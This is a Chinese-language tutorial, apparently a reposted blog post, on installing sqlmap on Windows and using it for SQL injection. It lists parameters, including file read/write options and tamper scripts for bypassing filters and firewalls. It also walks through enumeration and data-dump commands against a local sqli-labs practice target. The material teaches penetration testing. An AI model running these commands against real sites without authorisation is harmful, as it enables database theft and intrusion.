SQLMAP的下载安装和使用(Windows)

目次

1. SQLMAP下载安装
1.1. 介绍
1.2. 支持的数据库
1.3. 支持的注入类型
1.4. 下载安装
2. SQMAP的命令参数
2.1. sqlmap基本参数
2.2. sqlmap进阶参数
3. SQLMAP的基本使用
3.1. 判定是否存在注入
3.2. 判定当前用户是否为dba
3.3. 查看数据库用户
3.4. 查看所有数据库
3.5. 查看当前数据库名称
3.6. 查询当前数据库的表
3.7. 查询表中的字段名
3.8. 查询字段下的数据

---

免责声明 本文所提供的笔墨和信息仅供学习和研究使用，请读者自觉遵遵法律法规，不得利用本文所提供的信息从事任何违法活动。本文不对读者的任何违法行为承担当何责任。工具来自网络，安全性自测，如有侵权请联系删除。

注意：SQLMAP 这样的工具在正当的安全测试和研究环境之外的使用可能黑白法的和不道德的。在现实应用中，应该在授权和正当的情况下使用它来帮助发现和修复体系中的安全漏洞，以提高体系的安全性。

1. SQLMAP下载安装

1.1. 介绍

SQLMAP是一种开源渗出测试工具，可主动实行SQL注入缺陷的检测和注入过程，并接管数据库服务器。它有强大的检测引擎，针对差别类型的数据库提供多样的渗出测试功能选项，实现数据库辨认、数据获取、访问DBMS\操纵体系乃至通过带外数据连接的方式实行操纵体系的命令，以及从数据库指纹辨认、从数据库获取数据、 通过带外连接在操纵体系上实行命令。
1.2. 支持的数据库

SQLMAP 支持检测 MySQL 、 Oracle 、 PostgreSQL 、 MSSQL（ Microsoft SQL Sever ） 、 Access （ Microsoft Access ）、 IBM DB2 、SQLite、 Firebird、Sybase 和 SAP MaxDB 等
1.3. 支持的注入方式

分别是：布尔盲注、时间盲注、报错注入、团结查询、堆叠注入
1.4. 下载安装

SQLMap的安装依赖于Python环境，所以需要事先安装好Python，若没有安装请看在Windows下载、安装Python和配置环境（新手、保姆级教程）-CSDN博客
SQLMAP的官方网站：https://sqlmap.org/
Windos体系下载 zip格式，Linux体系下载 .tar.gz格式。

   

​
  提前在D盘新建一个文件夹，重命名最好为英文，下载解压缩之后进入sqlmap的文件夹，在此文件夹中打开控制台（ 可以在上方地点栏输入cmd回车快速打开 ）
输入命令python sqlmap.py或python sqlmap.py -h检验是否成功，出现如图所示界面就代表成功了。
   

​
  注意：如果报错就检查一下环境变量是否配置成功；如果是没反应到python文件夹查看 python.exe 的名字，如果名字是 python2.exe或python3.exe，则命令就是python3 sqlmap.py


2. SQMAP的命令参数

2.1. sqlmap基本参数

这些是sqlmap的基本参数
  

1. -d                 指定直接数据库连接得连接字符串，直接连接到数据库。
2. -u                 指定URL目标
3. -I                 从Burp或WebScarab代理得日志中解析目标
4. -m                 扫描文本文件中给出得多个目标，批量扫描
5. -r                 从文本中加载HTTP请求。 用 * 标记注入位置
6. -g                 将Google Dork得结果作为目标URLh

复制代码

这些参数可用于调解具体的 SQL 注入测试

1. -a                                 获取所有信息
2. -current-user         获取DBMS当前用户
3. --current-db          获取DBMS当前数据库
4. --hostname                 获取DBMS当前主机名
5. --is-dba                 检测当前用户是否为管理员用户
6. --users                 查询DBMS用户
7. --passwords         查询DBMS用户密码hash
8. --dbs                         查询DBMS数据库
9. --tables                 查询DBMS数据库中得表
10. --columns                 查询DBMS数据库表得列名
11. --dump                         查询转储DBMS数据库表
12. --dump-all                 转储DBMS所有数据库表
13. -D db_name                 指定要求枚举的DBMS数据库名
14. -T table_name         指定要枚举得DBMS表
15. -C column_name         指定要枚举得DBMS列
16. --batch                 从不询问用户输入，使用所有默认配置

复制代码

2.2. sqlmap进阶参数

1. --data=DATA                         通过POST方式发送数据字符串
2. --cookie=COOKIE                 HTTP Cookie头 LMXCMS演示
3. --user-agent=AGENT                指定HTTP User-Agent头
4. --random-agent                     使用随机选定得HTTP User-Agent头
5. --host=HOST                         指定HTTP HOST header
6. --referer=REFERER                 指定HTTP Referer header
7. --ignore-proxy                         忽略系统默认代理配置
8. --proxy=PROXY                         使用代理连接目标URL --proxy=" http://127.0.0.1:8080"
9. --delay=DELAY                         可以设定两个请求间得延迟
10. --timeout=TIMEOUT                 可以设定一个请求超过多久判定为超时
11. --force-ssl                         强制使用SSL/HTTPS
12. --threads=THREADS                 HTTP（s）最大并发请求数（默认是1）
13. --dbms=DBMS                         强制指定后端DBMS
14. --os=OS                                 强制指定后端得DBMS操作系统
15. --tamper                                 使用给定得脚本修改注入数据

复制代码

这些参数可用于自定义阶段检测探测选择

1. --level=LEVEL         测试等级(1-5, default 1)
2. --risk=RISK         测试的风险等级(1-3, default 1)
3. --technique         来指定要使用哪种注入模式，快速扫描

复制代码

2.4 访问文件体系

1. --file-read=文件路径         从后端的数据库管理系、统文件系统读取文件
2. --file-write=文件路径        编辑后端的数据库管理系统、文件系统上的本地文件
3. --file-dest=文件路径                后端的数据库管理系统、写入文件的绝对路径

复制代码

使用条件

• 知道网站的绝对路径
  
• 高权限数据库用户
  
• secure_file_priv=''无限制
  

2.5 tamper绕过

1. --tamper=base64encode.py
2. --tamper=test.py
3. space2comment.py                                 用/**/代替空格
4. apostrophemask.py                                 用utf8代替引号
5. equaltolike.py                                         like代替等号
6. space2dash.py                   绕过过滤‘=’ 替换空格字符（”），（’–‘）后跟一个破折号注释，一个随机字符串和一个新行（’n’）
7. greatest.py                                         绕过过滤’>’ ,用GREATEST替换大于号。
8. space2hash.py                                         空格替换为#号,随机字符串以及换行符
9. apostrophenullencode.py             绕过过滤双引号，替换字符和双引号。
10. halfversionedmorekeywords.py    当数据库为mysql时绕过防火墙，每个关键字之前添加mysql版本评论
11. space2morehash.py                                 空格替换为 #号 以及更多随机字符串 换行符
12. appendnullbyte.py                                 在有效负荷结束位置加载零字节字符编码
13. ifnull2ifisnull.py                                 绕过对IFNULL过滤,替换类似'IFNULL(A,B)'为'IF(ISNULL(A), B, A)'
14. space2mssqlblank.py                         (mssql)空格替换为其它空符号
15. base64encode.py                                 用base64编码替换
16. space2mssqlhash.py                                 替换空格
17. modsecurityversioned.py             过滤空格，包含完整的查询版本注释
18. space2mysqlblank.py                         空格替换其它空白符号(mysql)
19. between.py                                                用between替换大于号（>）
20. space2mysqldash.py                                替换空格字符（”）（’ – ‘）后跟一个破折号注释一个新行（’ n’）
21. multiplespaces.py                                围绕SQL关键字添加多个空格
22. space2plus.py                                         用+替换空格
23. bluecoat.py                                         代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like
24. nonrecursivereplacement.py      双重查询语句,取代SQL关键字
25. space2randomblank.py                        代替空格字符（“”）从一个随机的空白字符可选字符的有效集
26. sp_password.py                                        追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾
27. chardoubleencode.py                                双url编码(不处理以编码的)
28. unionalltounion.py                                替换UNION ALLSELECT UNION SELECT
29. charencode.py                                         url编码
30. randomcase.py                                        随机大小写
31. unmagicquotes.py                                宽字符绕过 GPCaddslashes
32. randomcomments.py                                用/**/分割sql关键字
33. charunicodeencode.py                        字符串 unicode 编码
34. securesphere.py                                        追加特制的字符串
35. versionedmorekeywords.py            注释绕过
36. space2comment.py                                替换空格字符串(‘‘) 使用注释‘/**/’
37. halfversionedmorekeywords.py    关键字前加注释

复制代码

3. SQLMAP的基本使用

我们以本地搭建的sql-labs靶场网址作为注入点测试
目标注入点是：
  

1. http://127.0.0.1/sqli-labs-master/Less-1/

复制代码

3.1. 判定是否存在注入

  

1. python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1"

复制代码

   

​
  出现这个就表示存在漏洞，分别存在布尔注入、报错注入、时间注入、union团结注入
3.2. 判定当前用户是否为dba

  

1. python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --is-dba

复制代码

3.3. 查看数据库用户

  

1. python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --current-user

复制代码

3.4. 查看所有数据库

  

1. python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --dbs

复制代码

   

​
  3.5. 查看当前数据库名称

  

1. python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --current-db

复制代码

   

​
  
3.6. 查询当前数据库的表

  

1. python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -D 数据库名 --tables

复制代码

   

​
  3.7. 查询表中的字段名

  

1. python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -D 数据库名 -T 表名 --columns

复制代码

   

​
  3.8. 查询字段下的数据

  

1. python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -D 数据库名 -T 表名 --dump

复制代码

   

​
  本人发布、转载的文章中所涉及的命令、技能、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途及盈利等目的，否则后果自行承担！！！！！









免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。